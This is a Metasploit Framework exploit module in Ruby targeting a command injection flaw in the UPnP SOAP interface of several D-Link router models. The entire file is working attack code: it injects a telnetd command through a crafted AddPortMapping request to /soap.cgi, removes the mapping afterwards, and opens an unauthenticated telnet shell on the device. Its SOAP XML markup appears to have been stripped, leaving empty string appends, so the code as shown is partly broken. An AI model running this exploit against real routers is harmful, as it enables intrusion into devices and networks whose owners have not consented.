## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. #   http://metasploit.com/ ##   require 'msf/core'  class Metasploit3 < Msf::Exploit::Remote   Rank = ExcellentRanking     include Msf::Exploit::Remote::HttpClient   include Msf::Exploit::FileDropper     def initialize(info = {})     super(update_info(info,       'Name'        => 'D-Link Devices UPnP SOAP Telnetd Command Execution',       'Description' => %q{         Various D-Link Routers are vulnerable to OS command injection in the UPnP SOAP        interface. This module has been tested successfully on DIR-300, DIR-600, DIR-645,         DIR-845 and DIR-865. According to the vulnerability discoverer, more D-Link devices         may be affected.       },       'Author'      =>         [           'Michael Messner ' , # Vulnerability discovery and Metasploit module           'juan vazquez' # minor help with msf module         ],       'License'     => MSF_LICENSE,       'References'  =>         [           [ 'OSVDB', '94924' ],           [ 'BID', '61005' ],           [ 'EDB', '26664' ],           [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]         ],       'DisclosureDate' => 'Jul 05 2013',       'Privileged'     => true,       'Platform'       => 'unix',       'Arch'        => ARCH_CMD,       'Payload'     =>         {           'Compat'  => {             'PayloadType'    => 'cmd_interact',             'ConnectionType' => 'find',           },         },       'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },       'Targets'        =>         [           [ 'Automatic',  { } ],         ],       'DefaultTarget'  => 0      ))       register_options(       [         Opt::RPORT(49152)  #port of UPnP SOAP webinterface       ], self.class)       register_advanced_options(       [         OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),         OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])       ], self.class)   end    def tel_timeout     (datastore['TelnetTimeout'] || 10).to_i   end    def banner_timeout     (datastore['TelnetBannerTimeout'] || 25).to_i   end    def exploit     @new_portmapping_descr = rand_text_alpha(8)     @new_external_port = rand(65535)     @new_internal_port = rand(65535)     telnetport = rand(65535)       vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")       cmd = "telnetd -p #{telnetport}"    type = "add"    res = request(cmd, type)     if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)       fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")     end    type = "delete"    res = request(cmd, type)     if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)       fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")     end      print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")     sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })       if sock.nil?       fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")     end      print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")     prompt = negotiate_telnet(sock)     if prompt.nil?       sock.close       fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")     else      print_good("#{rhost}:#{rport} - Telnet session successfully established...")     end      handler(sock)   end    def request(cmd, type)       uri = '/soap.cgi'      data_cmd = ""    data_cmd << ""     data_cmd << ""       if type == "add"      vprint_status("#{rhost}:#{rport} - adding portmapping")         soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"        data_cmd << ""       data_cmd << "#{@new_portmapping_descr} "      data_cmd << " "      data_cmd << "`#{cmd}` "      data_cmd << "1 "      data_cmd << "#{@new_external_port} "      data_cmd << " "      data_cmd << "TCP "      data_cmd << "#{@new_internal_port} "      data_cmd << ""    else      #we should clean it up ... otherwise we are not able to exploit it multiple times       vprint_status("#{rhost}:#{rport} - deleting portmapping")       soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"        data_cmd << ""       data_cmd << "TCP #{@new_external_port}  "      data_cmd << ""    end      data_cmd << ""    data_cmd << ""      begin      res = send_request_cgi({         'uri'    => uri,         'vars_get' => {           'service' => 'WANIPConn1'        },         'ctype' => "text/xml",         'method' => 'POST',         'headers' => {           'SOAPAction' => soapaction,           },         'data' => data_cmd       })       return res     rescue ::Rex::ConnectionError       fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")     end  end    def negotiate_telnet(sock)     begin      Timeout.timeout(banner_timeout) do        while(true)           data = sock.get_once(-1, tel_timeout)           return nil if not data or data.length == 0          if data =~ /\x23\x20$/             return true          end        end      end    rescue ::Timeout::Error       return nil    end  end  end